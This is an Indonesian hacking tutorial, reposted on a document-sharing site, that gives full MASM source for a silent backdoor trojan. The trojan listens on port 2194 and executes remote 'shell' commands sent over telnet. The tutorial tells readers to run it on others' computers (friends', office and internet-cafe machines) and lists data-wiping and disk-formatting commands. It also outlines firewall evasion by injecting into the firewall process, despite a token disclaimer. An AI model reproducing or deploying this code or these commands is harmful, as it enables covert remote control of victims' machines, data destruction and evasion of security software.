backdoor

Document Sample
backdoor Powered By Docstoc
					Kebanyakan mereka yang udah pada pinter ngebuat tool-tool untuk hacking pada nggak mau bagi-bagi ilmunya, bukan mengajarkan gimana caranya, tapi bagaimana memanfaatkan/ menggunakan tool buatannya, bagiku hal ini sangat menyedihkan karena selain membuat kita jadi pasif juga nggak akan menambah kesaktian kita :).
Sebagai ungkapan rasa terimakasih saya kepada mereka yang sudah rela mengorbankan waktunya untuk berbagi-bagi ilmu baik lewat e-mail, lewat komunitas jasakom, maupun lewat alam mimpi . maka dengan ini saya juga bermaksud untuk berbagi ilmu, tentu khusus bagi yang belum pada tahu aja. Kali ini saya nggak membahas virus atau keygen, tapi saya akan membahas bagaimana cara membuat program kayak backdoor.

Apa itu backdoor? Backdoor termasuk salah satu golongan malware atau program berbahaya, kenapa dikatakan berbahaya?, karena dengan backdoor seorang hacker bisa mengendalikan komputer, bisa meremote dari jauh, mencuri data berharga seperti password, pin, data finansial perusahaan bahkan untuk aksi yang fatal, misal: memformat hardisk!.

Cara kerja backdoor Sesuai namanya cara kerja backdoor cukup sederhana, yaitu dengan cara membukakan pintu belakang dan yang pasti secara diam-diam, pintunya biasanya berupa port, backdoor akan menanti si pembuat backdoor tersebut datang (menghubunginya). Apabila sang pembuat backdoor datang maka backdoor akan membukakan pintu lalu mempersilahkannya masuk dan melindunginya dari pengawasan keamanan, tentu setelah itu hacker (si pembuat backdoor) dapat melakukan apa saja yang dia inginkan dengan leluasa. sangat mengerikan!!

Baiklah dari pada kebanyakan omong, sekarang langsung kita mulai aja tutorialnya. Sebelum kita memulai experimen ini, sebaiknya kita pelajari dulu teorinya. Dalam pemrograman jaringan biasanya dibutuhkan yang namanya socket, socket disini maksudnya bukan socket pada jenis-jenis prosesor kayak socket-A, socket 393 atau socket AM2, tapi socket sebagai obyek untuk melakukan pertukaran data (packet) secara byte per byte. begitu juga backdoor, dia juga membutuhkan socket untuk mewujudkan komunikasi. bagi para programmer jaringan, saya yakin pasti dah tahu teori dan cara kerja backdoor ini. Pada pembuatan backdoor kita harus membuat dua socket, kenapa dua? karena socket tersebut adalah penghubung, misal jika kita ingin ngobrol jarak jauh kita harus pake telpon, si A menelpon si B, maka socket itu bisa kita

asumsikan sebagai telpon, dan tidak mungkin komunikasi akan terjadi apabila telponnya cuma satu (cuma si A yang punya telpon), begitu juga dengan socket harus ada dua, yang satu untuk backdoor (server) dan satunya lagi untuk si pembuat backdoor (client).

.data? sock1 sock2 SOCKET ? ; socket pertama [ backdoor ] SOCKET ? ; socket kedua [ attacker ]

Setelah itu kita butuh yang namanya port, apa itu port?, berdasarkan wujudnya port dibagikan menjadi dua jenis, port fisik dan port logika, port fisik itu yang bisa kita lihat langsung di belakang komputer, kayak COM1, COM2, USB dll. kalo port logika itu bisa banyak banget, bisa sampai ribuan dan nggak bisa kita lihat, nah port yang akan kita gunakan disini adalah port logika, kalo tadi socket bagaikan telpon maka port bagaikan kabelnya dan IP address bagaikan nomor telponnya, tanpa itu semua komunikasi mustahil terjadi. Setelah socket tercipta kita akan tentukan port yang akan kita gunakan sebagai jalur komunikasi, pilih port yang masih kosong atau belum kepake, contoh di program ini saya gunakan port 2194. untuk memasang portnya kita harus terlebih dahulu mengisi variabel pada struktur sockaddr_in yang memiliki rangkaian : sockaddr_in STRUCT sin_family sin_port sin_addr sin_zero sockaddr_in ENDS diisi dengan cara : push 2194 ; nomor port yang akan dibuka backdoor call htons mov sockaddr_in.sin_port,eax Setelah struktur sockaddr_in diisi maka langkah selanjutnya adalah binding : push sizeof sockaddr_in ; Besar struktur soackaddr_in WORD WORD in_addr <> BYTE 8 dup (?) ? ?

push offset sockin1 ; alamat sockaddr_in 1 push sock1

call bind

; binding

cmp eax,SOCKET_ERROR ; socket error jnz socket_oke xor eax,eax ret socket_oke: mov eax,1 ret ; null ; udah ada atau port udah digunakan

agar lebih jelas lihat source code lengkapnya di bawah ini :

================[ POTONG DISINI ]===================

;================================================== ; ; ; ; ; ; ; compile with MASM ml /c /coff backdoor.asm link /subsystem:windows /opt:noref backdoor.obj SIMPEL BACKDOOR TROJAN WRITTEN BY : [4NV|e] anvie_2194@yahoo.com

;================================================== .386 ; 32 bit

.model flat,stdcall option casemap:none

include \masm32\include\windows.inc

include \masm32\include\user32.inc include \masm32\include\wsock32.inc include \masm32\include\kernel32.inc include \masm32\include\winmm.inc include \masm32\include\shell32.inc

includelib \masm32\lib\user32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\winmm.lib includelib \masm32\lib\shell32.lib

.data? sock1 sock2 sockin1 sockin2 s2IP wsad hFile hBW lenn SOCKET ? SOCKET ?

; .data section ; socket pertama ; socket kedua

sockaddr_in <> ; struktur sockaddr_in <> dd ? WSADATA <> ; WSA struktur dd ? dd ? dd ?

.data AppName szKonek szLogon db "AnShell",0 db "Connected : ",0 db 13,10

db "______________________________________________",13,10 db " db " db " db " db 13,10 db " db " db " By:[4NV|e] this stuff is for education purpose only Source : www.jasakom.com ",13,10 ",13,10 ",13,10 | __, | WELCOME TO : ___, (____ . |__ __ / / . | . | ",13,10 ",13,10 ",13,10 ",13,10

|__| ,__ | |

| | ,____) |

) \/__ |__ |__

db "______________________________________________",13,10 db 0 szMasuk szPerintah szSelesai db "[ You already entered system ]",13,10 db "Command : ",0 db 13,10," - thanks for visiting",13,10 db " - [4NV|e]",13,10 db " - anvie_2194@yahoo.com",13,10 db " - www.anvie.net.tc",0 szSocketError db "shit, socket error",0 ;what the fuck! szPerintahX db "Command not found.",13,10,0 szKosong szOpen db 13,10 db "Open",0

; perintah-perintah Perintah1 db "msgbox",0 Perintah2 db "close",0 Perintah3 db "shell",0

Buffer

db 512 dup(0) ; buffer

Buffer2 KeepOF overflow

db 512 dup(0) ; buffer dd 0 ; buat jaga-jaga biar gak terjadi buffer

.code

; .code section

; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« «««« StartUp proc ; prosedur awal pembuatan socket

push offset wsad push 0101h call WSAStartup

push 0 push SOCK_STREAM push PF_INET call socket ; buat socket utama (server? :P) ; backdoor!

mov sock1,eax mov ax,AF_INET mov sockin1.sin_family,ax xor eax,eax mov sockin1.sin_addr,eax

push 2194 call htons ; Buka port 2194 (Lucky Number ;)

mov sockin1.sin_port,ax ; masukin port ke struktur sockaddr_in

mov eax,sizeof sockaddr_in push eax push offset sockin1 push sock1 call bind

cmp eax,SOCKET_ERROR ; apakah socket oke ? jnz socket_oke xor eax,eax ; tidak, return 0 ret socket_oke: ; oke, yeah return 1 mov eax,1 ret StartUp endp

; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« «««« BersihkanBuffer proc uses edi lpBuffer:DWORD,jml:DWORD

xor al,al

; Isi buffer jadikan nul byte

mov edi,lpBuffer ; dibutuhkan di lingkungan assembly mov ecx,jml rep stosb ; mnemonik stosb mengeset alamat edi ; dengan nilai dari eax ret

BersihkanBuffer endp

; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« «««« Tarjim proc lpCommand:DWORD ; prosedur untuk menerjemahkan perintah LOCAL lBuffer[512]:BYTE ; untuk dieksekusi. LOCAL arg:DWORD LOCAL arg2:DWORD

push lpCommand call lstrlen cmp jne ret eax,2 perintah_ok

perintah_ok:

lea edi,lBuffer push edi ; selamatkan edi ke stack ; push 512 push edi ; bersihkan lBuffer

call BersihkanBuffer

mov edi,lpCommand mov al,020h mov ecx,512 repnz scasb ; cari byte 20h dimana 20h=karakter spasi ; simpel deteksi argumen ; cari!

dec edi

test ecx,ecx jnz cmd_ok

; apakah karakter spasi ditemukan? ; jika ya goto cmd_ok

mov edi,lpCommand mov al,0dh mov ecx,512 repnz scasb dec edi mov byte ptr [edi],0 ; jika ketemu set null byte jmp no_arg cmd_ok: mov byte ptr [edi],0 inc edi mov arg,edi ; simpan argumen pertama ; nullkan karakter spasi ; argumen tidak ada goto no_arg ; jika tidak, cari karakter enter (0dh/13)

push edi call lstrlen add edi,eax sub edi,2 terakhir ; nullkan 2 byte terkahir maksud 2 byte

mov word ptr [edi],00 ; disini adalah 0ah 0dh (enter) no_arg: pop edi ; kembalikan edi dari stack

push lpCommand push edi call lstrcpy ; kopikan string perintah ke buffer

push offset Perintah1 push edi call lstrcmpi ; compare string insensitive or eax,eax jz msgbox ; apakah perintah msgbox ?

push offset Perintah2 push edi call lstrcmpi or eax,eax ; apakah perintah close ? jz mati

push offset Perintah3 push edi call lstrcmpi or eax,eax jz shell ; apakah perintah shell ?

xor eax,eax ; perintah gak ada yang cocok ret ; kembali dan tampilkan pesan

msgbox: mov eax,MB_OK or eax,MB_SYSTEMMODAL or eax,MB_TOPMOST push eax push offset AppName

push arg push 0 call MessageBox jmp retCmd

mati:

push offset szSelesai call lstrlen mov lenn,eax

; tampilkan pesan selesai push 0 push lenn push offset szSelesai push sock2 call send

; tutup socket push sock1 call closesocket push sock2 call closesocket

; bersihkan memori call WSACleanup xor eax,eax push 0

call ExitProcess

shell: ; cari untuk argumen ke 2 atau sub commandline mov arg2,0 mov edi,arg mov ecx,512 mov al,20h ; 20h = spasi repnz scasb cmp ecx,0 ; spasi ditemukan ? je no_arg2 ; jika tidak goto no_arg2

dec edi mov byte ptr [edi],0 ; ada, nullkan inc edi mov arg2,edi ; simpan arg2 ke memori no_arg2:

push 1 push 0 push arg2 push arg push offset szOpen push 0 call ShellExecuteA ; eksekusi! jmp retCmd

retCmd: mov al,1

ret Tarjim endp

; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« «««« start:

call StartUp ; panggil prosedur startup test eax,eax ; apakah socket oke? jz socket_error ; jika tidak socket = error

; socket dah oke ; buat listening ke port 2194 push 1 push sock1 call listen

new_session: push call sock2 ; tutup socket 2 closesocket ; berfungsi setelah looping

mov mov push push push call

eax,sizeof sockaddr_in lenn,eax offset lenn offset sockin2 sock1 accept ; menunggu perintah dari socket 2

mov push call mov

sock2,eax ; simpan alamat socket 2 offset szLogon lstrlen lenn,eax

push push push push call

0 lenn offset szLogon sock2 send ; sambut tamu dari luar :)

mov push call

eax,sockin2.sin_addr eax inet_ntoa ; terjemahkan IP x.x.x.x

mov push push call

s2IP,eax ; simpan IP dari socket 2 offset szKonek offset Buffer lstrcpy

lea push or mov repnz inc

edi,Buffer edi ecx,-1 al,03Ah ; cari karakter ':' scasb edi

; tempelkan string IP

push push call push call

s2IP edi lstrcpy edi lstrlen

add mov add mov pop push call mov

edi,eax word ptr [edi],0a0dh ; ganti baris edi,2 byte ptr [edi],0 ; null edi edi lstrlen lenn,eax

push push push push call address push mov push push push call

0 lenn offset Buffer sock2 send ; tampilkan string Connected : x.x.x.x -> IP

0 eax, sizeof szMasuk eax offset szMasuk sock2 send ; welcome :)

perintah: push 0 push 10 push offset szPerintah push sock2 call send ; backdoor siap dikendalikan!

push 512 push offset Buffer2 call BersihkanBuffer ; Bersihkan buffer lea edi,Buffer2 mov KeepOF,0 ; counter anti buffer overflow

tunggu_perintah: invoke recv,sock2,edi,500,0 test eax,eax jz new_session cmp eax,SOCKET_ERROR je new_session add edi,eax inc KeepOF cmp KeepOF,511 jb no_of jmp perintah no_of: ; jika penuisan buffer hampir mencapai 512 byte ; bersihkan buffer, jaga2 biar gak terjadi ; Buffer overflow :-)

cmp byte ptr [edi-1],08h jne bkn_backs xor eax,eax

mov word ptr [edi],ax sub edi,2 bkn_backs:

cmp byte ptr [edi-1],0ah ; apakah tombol enter yang ditekan ? jnz tunggu_perintah ; jika nggak masih nunggu perintah

; ya, terjemahkan perintah push offset Buffer2 call Tarjim ; panggil prosedur tarjim

test eax,eax ; apakah perintah valid jnz perintah ; jika tidak balik tungu perintah

cmp eax,2 ; apakah perintah kosong ? je kosong ; jika ya, goto kosong

push 0 mov eax,sizeof szPerintahX push eax push offset szPerintahX push sock2 call send ; tampilkan pesan kalo perintah nggak ada jmp perintah kosong: push 0 push 2 push offset szKosong

push sock2 call send ; hanya ganti baris jmp perintah

socket_error:

; trap handel jika-jika socket error

push MB_ICONERROR push offset AppName push offset szSocketError push 0 call MessageBox ; tampilkan kesalahan tamat: push 0 call ExitProcess ; selesai.

end start

================[ EOF ]=========================================

atau kalo males ngompilasi sendiri, ini contoh yang udah jadi:

download

kalo udah coba test hasilnya, jalankan backdoor.exe dikomputer target, misal komputer teman, kantor, warnet (komputer operator lho) atau komputer pribadi, backdoor ini saya desain silent jadi kamu gak bakalan nemuin jendela macammacam, tapi kalo kamu pake firewall pasti akan ketahuan kalo backdoor.exe telah membuka port. setelah langkah diatas selesai kita akan melakukan telnet ke komputer target, kita bisa pake komputer lain, untuk menjalankan telnet caranya klik start>run> ketik “cmd” tanpa tanda kutip. setelah itu akan tampil jendela konsol seperti gambar 01:

Gambar 01

pada jendela konsol ketikkan “telnet x.x.x.x 2194” tanpa tanda kutip, x.x.x.x disini maksudnya IP target, contoh “telnet 192.168.0.3 2194”, 2194 disini maksudnya port yang akan kita masuki (untuk contoh backdoor ini aku gunakan port 2194). contoh Gambar 02

Gambar 02

tekan “Enter” kalo telnet berhasil maka akan tampil seperti Gambar 03 berikut:

Gambar 03

nah kalo dah gitu kita udah bisa mengendalikan komputer target dari jarak jauh, maksud seperti contoh gambar diatas adalah backdoor sudah siap melakukan perintah, ada 3 perintah yang dikenal oleh backdoor ini :

1. msgbox (untuk menampilkan pesan ke komputer target) 2. shell (untuk menjalankan aplikasi di komputer sasaran) 3. close (untuk menutup hubungan dan mematikan backdoornya)

perintah diatas bisa ditambah sendiri tergantung kreatifitas kamu. backdoor bisa menyenangkan jika digunakan untuk mengerjai temen yang lagi ol . :) cara menjalankan perintah cukup ketikkan perintah diatas pada jendela konsol, misal kita akan menampilkan pesan ke komputer target, tinggal ketikkan: “msgbox hallo, komputer kamu dibawah kendaliku” tanpa tanda kutip, maka pada komputer target akan muncul jendela box seperti contoh Gambar 04:

Gambar 04

atau ingin memainkan musik ke komputer target dengan tempat musik yang akan kita mainkan, contoh: “shell d:\musik ku\dream theater – endless sacrifice.mp3” maka dikomputer target akan memainkan musik yang merdu.

catatan kita tahu

atau ingin mematikan komputer target yang berbasis Wind**s 2000 keatas, dengan cara: “shell shutdown –s –t 0 –f” untuk merestart tinggal ganti “-s” jadi –“r” contoh: “shell shutdown –r –t 0 –f”

Backdoor bisa menjadi sangat berbahaya jika yang dijalankan adalah perintahperintah seperti: “shell del /f /q /s c:\*.*” (perintah untuk menghapus semua data tanpa konfirmasi) “shell format d: /q” (perintah untuk memformat hardisk)

note: mohon agar cotoh program backdoor ini tidak digunakan untuk tindakantindakan yang merusak. :D

setelah selesai menggunakan backdoor kita bisa tutup dengan mengetikkan perintah “close”, maka backdoor di komputer target akan bunuh diri.

Cara di atas akan sia-sia apabila komputer target memasang firewall, kita perlu menambahkan kode anti firewall detection untuk menghindari deteksi dari firewall. kode anti firewall detection yang saya ketahui adalah dengan cara tehnik runtime process infection, dimana kita akan menginjeksi kode backdoor ke tubuh firewall (hampir mirip kayak DLL injection) yang sedang resident lalu meremotenya misal pake API CreateRemoteThread, sehingga firewall akan mengangapnya sebagai sumber yang dipercaya, karena nggak mungkin firewall mencurigai dirinya sendiri sebagai backdoor :”D, Adapun beberapa firewall yang vulnerable terhadap serangan ini adalah: 1. 2. Zone Alarm 4 Zone Alarm Pro 4

3.

BlackIce 3

Pada pengujian yang saya lakukan, ke tiga firewall tersebut diatas bisa ditembus sistem keamanannya dan berhasil menjalankan backdoor tanpa gangguan :). tapi entahlah untuk jenis firewall lain, karena saya cuma menguji 3 firewall diatas. :P

Untuk menambahkan tehnik ini kamu perlu pengetahuan dan dasar-dasar pemrograman yang cukup.

Last word Saya hanyalah seorang biasa yang masih sangat awam dibidang IT, jadi mohon ma’af apabila saya telah melakukan kesalahan yang mungkin disebabkan karena ketidakpahaman saya atau kebodohan saya. Untuk yang udah pada ahli, jangan pelit bagi-bagi ilmu ya..

Thanks to Allah SWT, Rosululloh SAW, Ayah Ibu tercinta, saudara-sudaraku, temantemanku: Sh1bed, 4rf@d, It0, Izudien, Am1n, Pak Sur, 1rh4m, n4j1b, zulfa, tomero, ScareByte, NemeSiS_Byte, djiamput_cok, mas Irwan, B0rg0L, lamer, skywalker, and all friends in international assembly community. Jasakom atas postingan artikelnya, teman-teman komunitas Jasakom yang lagi pada rewel :). s’to atas buku-bukunya, spesial untuk My Angel:Ans, atas cinta dan kasih sayangnya.


				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:3773
posted:12/21/2009
language:Indonesian
pages:22